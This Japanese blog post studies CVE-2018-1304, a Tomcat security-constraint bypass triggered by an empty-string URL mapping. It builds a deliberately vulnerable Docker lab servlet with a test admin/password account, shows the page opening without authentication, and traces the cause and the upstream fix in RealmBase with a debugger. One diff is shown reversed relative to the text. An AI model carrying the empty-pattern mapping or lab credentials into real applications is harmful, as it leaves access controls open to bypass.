何となく番号が早かったということでCVE-2018-1304から調べたのですが、結構疲れてしまってCVE-2018-1305についてはちゃんと検証しておりません。 アノテーションの話みたいなので、元気になったらあとで調べるかもしれません。

参考

Tomcat脆弱性関連

Tomcatデバッグ関連

概要

CVE-2018-1304は一言で言うと、セキュリティの制約が回避されてしまう脆弱性になります。 セキュリティの制約には、特定のロールしかアクセスできない、GETは禁止、HTTPSのみ許可、など様々な設定があります。 特にadminのみ許可、のような制限を入れていた場合に回避されてしまうのでWebサイトによっては影響が大きいかもしれません。

ですが、影響があるのはURLのマッピング設定で ""(空文字)を使っている場合のみになります。 マッピング設定はweb.xmlアノテーションで設定するもので、 /users にリクエストが来たらこのクラスを呼ぶ、みたいなやつですね。 普通rootをマッピングするとしても / にすると思うので、 ""(空文字)になってることはあまりないんじゃないかなーと思ってます。 どこかのブログなどでにそういう設定例があったりすると、多く使われていたりするのかもしれませんが。

この脆弱性の影響がある人はかなり少ない気がしているので、レベルがImportantってのは高いんじゃないかなーと思ったり思わなかったりします。 ただ影響があるサイトにとっては影響度は大きいので、そういう付け方なんですかね。

検証

ということで実際に検証してみます。 例によってDockerfileを用意しました。

github.com

さらっと用意しました、とか言いましたが実際はかなり大変でした。 Tomcatを業務で触ったことがなかったのでServletHello Worldだけで何時間も溶かしました。 未だにやり方はよく分かってないですが、一応動くようになったので良かったです。 次からTomcat脆弱性が来たらすぐ調査できるようになったので、Tomcat脆弱性はWelcomeです。

DockerはTomcat 9.0.4を使いました。 9.0.5で修正されているので、その直前のバージョンになります。

Servletのプロジェクトはmavenで雛形を作ったものを少しいじりました。

$ mvn archetype:generate -DgroupId=test.vuln -DartifactId=vuln -DarchetypeArtifactId=maven-archetype-webapp -DinteractiveMode=false

雛形を作ったあと、Servletを作ります。

$ mkdir -p vuln/src/main/java/test/vuln
$ vim vuln/src/main/java/test/vuln/HelloServlet.java
package test.vuln;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.PrintWriter;

import javax.servlet.annotation.HttpMethodConstraint;
import javax.servlet.annotation.HttpConstraint;
import javax.servlet.annotation.ServletSecurity;
import javax.servlet.annotation.WebServlet;

@WebServlet (name = "Root", urlPatterns = { "/" })
@ServletSecurity(value=@HttpConstraint(rolesAllowed={"admin"}))
public class HelloServlet extends HttpServlet {

  public void doGet(HttpServletRequest request, HttpServletResponse response)
    throws IOException, ServletException{

    response.setContentType("text/html");
    PrintWriter out = response.getWriter();
    out.println("<html>");
    out.println("<h1>CVE-2018-1304!!</h1>");
    out.println("</body>");
    out.println("</html>");
  }
}

GETが来たらCVE-2018-1304!!と返すだけの処理になっています。

ここでのポイントは @ServletSecurity@WebServlet です。 まず、 @WebServleturlPatterns/ と設定しており、 / へアクセスした時にこのクラスが呼ぶための設定です。 今回はvulnの下にあるので、/vuln/にアクセスするとHelloServletが呼ばれます。 次に @ServletSecurity はセキュリティの設定を色々するためのアノテーションで、今回は rolesAllowedadmin ロールだけがアクセスできるように設定しています。

ロールはtomcat-users.xml で設定しています。 以下はadminロールを定義し、 admin ユーザを admin ロールに所属させています。

$ cat tomcat-users.xml
<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
  <role rolename="admin"/>
  <user username="admin" password="password" roles="admin"/>
</tomcat-users>

次にBasic認証の設定をします。 設定方法がよく分かっていないのですが、web.xml に書いたら行けました。 (/ とかにアクセスするとBasic認証求められないのでよく分からない。。)

$ cat vuln/src/main/webapp/WEB-INF/web.xml
<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>
  <login-config>
        <auth-method>BASIC</auth-method>
        <realm-name>default</realm-name>
  </login-config>
</web-app>

これで、/vuln にアクセスするとBasic認証が求められます。 adminロールじゃないとアクセス出来ないため、上記のID/PWでログインする必要があります。

次にmavenでビルドするためのpom.xmlを書きます。 とりあえず参考サイトからコピペしつつ、少しいじって以下のようにしたら動きました。 ちなみにこれもそれぞれの設定はあまり理解してません。

$ cd vuln
$ cat pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
 <properties>
    <maven.compiler.source>1.9</maven.compiler.source>
    <maven.compiler.target>1.9</maven.compiler.target>
  </properties>

  <modelVersion>4.0.0</modelVersion>
  <groupId>test.vuln</groupId>
  <artifactId>vuln</artifactId>
  <packaging>war</packaging>
  <version>1.0-SNAPSHOT</version>
  <name>vuln Maven Webapp</name>
  <url>http://maven.apache.org</url>
  <dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>3.8.1</version>
      <scope>test</scope>
    </dependency>
    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>javax.servlet-api</artifactId>
      <version>3.1.0</version>
      <scope>provided</scope>
    </dependency>
  </dependencies>
  <build>
    <!-- mavenでコンパイルするたmのプラグイン -->
    <finalName>${project.artifactId}-${project.version}</finalName>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-compiler-plugin</artifactId>
        <version>3.1</version>
        <configuration>
          <encoding>UTF-8</encoding>
          <source>1.8</source>
          <target>1.8</target>
        </configuration>
      </plugin>
      <!-- mavenからtomcatにwarファイル展開するためのプラグイン -->
      <plugin>
        <groupId>org.apache.tomcat.maven</groupId>
        <artifactId>tomcat7-maven-plugin</artifactId>
        <version>2.2</version>
        <configuration>
          <path>/</path><!-- webapps配下に展開するためのファイル(ディレクトリ名) -->
          <server>tomcat-localhost</server>
          <url>http://localhost/manager/text</url>
        </configuration>
      </plugin>
    </plugins>
  </build>
</project>

ビルドする準備ができたので、mavenでビルドします。 macOSでしか検証してないです。

$ mvn clean package
[INFO] Scanning for projects...
[INFO]
[INFO] ------------------------------------------------------------------------
[INFO] Building vuln Maven Webapp 1.0-SNAPSHOT
[INFO] ------------------------------------------------------------------------
...
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 4.725 s
[INFO] Finished at: 2018-02-25T19:29:15+09:00
[INFO] Final Memory: 17M/285M
[INFO] ------------------------------------------------------------------------

準備が終わったのでdocker buildします。イメージ名は適当にcveにしましたが、何でも良いです。

$ cd ..
$ docker build -t cve .

デフォルトだと8080番ポートでLISTENするので、8080番をポートフォワードします。

$ docker run --name cve -d -p 8080:8080 cve

起動したら、ブラウザで http://localhost:8080 にアクセスします。

f:id:knqyf263:20180225210733p:plain

猫が見えればOKです。

ではその状態で、 http://localhost:8080/vuln にアクセスしてみます。 今度はBasic認証が求められます。 先程設定した admin/password でログインしてCVE-2018-1304!!と表示されていれば成功です。

ようやく検証の下準備が完了したので、CVE-2018-1304の確認をしてみます。 HelloServlet.javaurlPatterns を編集します。 先程までは / でしたが、ここを "" の空文字に変更します。

 import javax.servlet.annotation.ServletSecurity;
 import javax.servlet.annotation.WebServlet;

-@WebServlet (name = "Root", urlPatterns = { "" })
+@WebServlet (name = "Root", urlPatterns = { "/" })
 @ServletSecurity(value=@HttpConstraint(rolesAllowed={"admin"}))
 public class HelloServlet extends HttpServlet {

ビルドし直して、コンテナに再度デプロイします。

$ cd vuln
$ mvn clean package
$ docker cp target/vuln-1.0-SNAPSHOT.war cve:/usr/local/tomcat/webapps/vuln.war

デプロイが終わるまで少しだけ時間差がありますが、コンテナで以下のようなログが出れば完了です。

Deployment of web application archive [/usr/local/tomcat/webapps/vuln.war] has finished in [20] ms

この状態で再度 http://localhost:8080:vuln にアクセスします。 先ほどと同じブラウザだとBasic認証のヘッダが付いたままなので、別ブラウザやシークレットウィンドウなどでアクセスして下さい。 すると、Basic認証が求められずにWebページが表示されます。 単純ですが、これが脆弱性です。 認証を回避できてWebページを表示できてしまいました。

f:id:knqyf263:20180225213944p:plain

概要で書いたとおり、 urlPatterns"" にしていると影響を受けます。 ということで検証は終わりです。

ソースコード確認

CVE-2018-1304のソースコード上の修正箇所は以下になります。

[Apache-SVN] Diff of /tomcat/trunk/java/org/apache/catalina/realm/RealmBase.java

これは findSecurityConstraints のメソッド内にあります。

534      @Override
535     public SecurityConstraint [] findSecurityConstraints(Request request,
536                                                          Context context) {

http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/realm/RealmBase.java?revision=1812188&view=markup&pathrev=1823306#l535

これはHTTPリクエストのpathやmethodから関連するSecurityConstraintを取り出すメソッドです。

どうやって関連するかを判断しているかというと、以下の583行目にある通り、リクエストの uriurlPatterns の比較になります。 これら(とmethod)が一致した場合はSecurityConstraintを配列に入れて返します。

582                  for(int k=0; k < patterns.length; k++) {
583                     if(uri.equals(patterns[k])) {
584                         found = true;
585                         if(collection[j].findMethod(method)) {
586                             if(results == null) {
587                                 results = new ArrayList<>();
588                             }
589                             results.add(constraints[i]);
590                         }
591                     }
592                 }

http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/realm/RealmBase.java?revision=1812188&view=markup&pathrev=1823306#l583

もし urlPatterns"" になってて uri/ になっている場合、このif文に入らずresultsが空の配列になり、SecurityConstraintがないものとして扱われそうです。 結果として、制約をすり抜けてしまいます。 これが脆弱性の原因だろうと推測されます。

ソースコードをさっと読んだ感じでは上の理解になりますが、実際にデバッガで変数の中身を覗いて確かめてみましょう。

デバッグ

上記リポジトリにDockerfile.debugも置いておいたので、それを用いてイメージをビルドするとデバッグ可能になります。 ですが、元のDockerfileでも環境変数を指定して起動スクリプトの引数を変えることでデバッグ出来るようになります。

$ docker run --name cve -e JPDA_SUSPEND=y -e JPDA_ADDRESS=0.0.0.0:8000 --rm -it -p 8080:8080 -p 8000:8000 cve catalina.sh jpda run

8000番ポートに繋ぐとデバッグ出来るような設定になっています。 JPDA_ADDRESSに0.0.0.0を書かないと繋がるようになりませんでしたし、JPDA_SUSPEND=yを付けないと繋がってもブレークポイントで止まってくれませんでした。 ココらへんググっても出なくて超絶ハマりました。

ブレークポイントを貼りたいので以下の公式サイトからソースコードを持ってきます。 ダウンロードしたら適当な場所で展開します。

Index of /dist/tomcat/tomcat-9/v9.0.4/src

次に、このソースをIntellij IDEAで開きます。 そしてRun/Debug Configurationsでリモートデバッグをする設定をします。 まず左上の+ボタンからRemoteを選びます。 名前は何でも良いです。ここではTomcatにしました。 そしてHostにlocalhost、Portに8000を設定します。

f:id:knqyf263:20180225220543p:plain

そして先程の RealmBase.javafindSecurityConstraintsブレークポイントを貼り、デバッグボタンを押します。 ブラウザで http://localhost:8080/vuln にアクセスすると、ブレークポイントで止まります。

f:id:knqyf263:20180225220936p:plain

ステップオーバーしていき、constraints 変数の中を見ると以下のようになっていました。 authRolesadmin になっており、アノテーションで設定したとおりになっていることが分かります。

f:id:knqyf263:20180225221120p:plain

肝心の比較の箇所を見てみます。 uri には "/" が入っていて、patterns[0]には""が入っています。 よって、このif文はfalseになりfoundはfalseのままになります。 先程のコードリーディングの予想通りであることが分かりました。

f:id:knqyf263:20180225221413p:plain

ということで、修正はまずuriの長さが0の場合に/を代入しています。 そして比較の箇所を以下のようにpatterns が空文字の場合もfound=trueになるような修正を入れています。

if(uri.equals(patterns[k]) || patterns[k].length() == 0 && uri.equals("/")) {

http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/realm/RealmBase.java?revision=1823306&view=markup&pathrev=1823306#l584

まとめ

TomcatServletは業務などで触れる機会もないので、CVE-2018-1304の調査がてら触ってみました。 正直設定の難度が高すぎてまだ全然理解できてないですが、とりあえず動くようになって良かったです。 Dockerで動いているTomcatへのリモートデバッグもかなりハマりましたが、最終的にはブレークポイントも貼れるようになってデバッグが捗るようになりました。 というかDockerへのリモートデバッグだけでも記事書けそうだな...などと思いました。 今回も脆弱性自体は難しいものではないですが、デバッガでソースコードを追うところまでやると学びが多いのでオススメです。

CVE-2018-1304の影響を受ける設定になっている場合は影響が大きい可能性があるので、修正済みのバージョンにアップデートしましょう。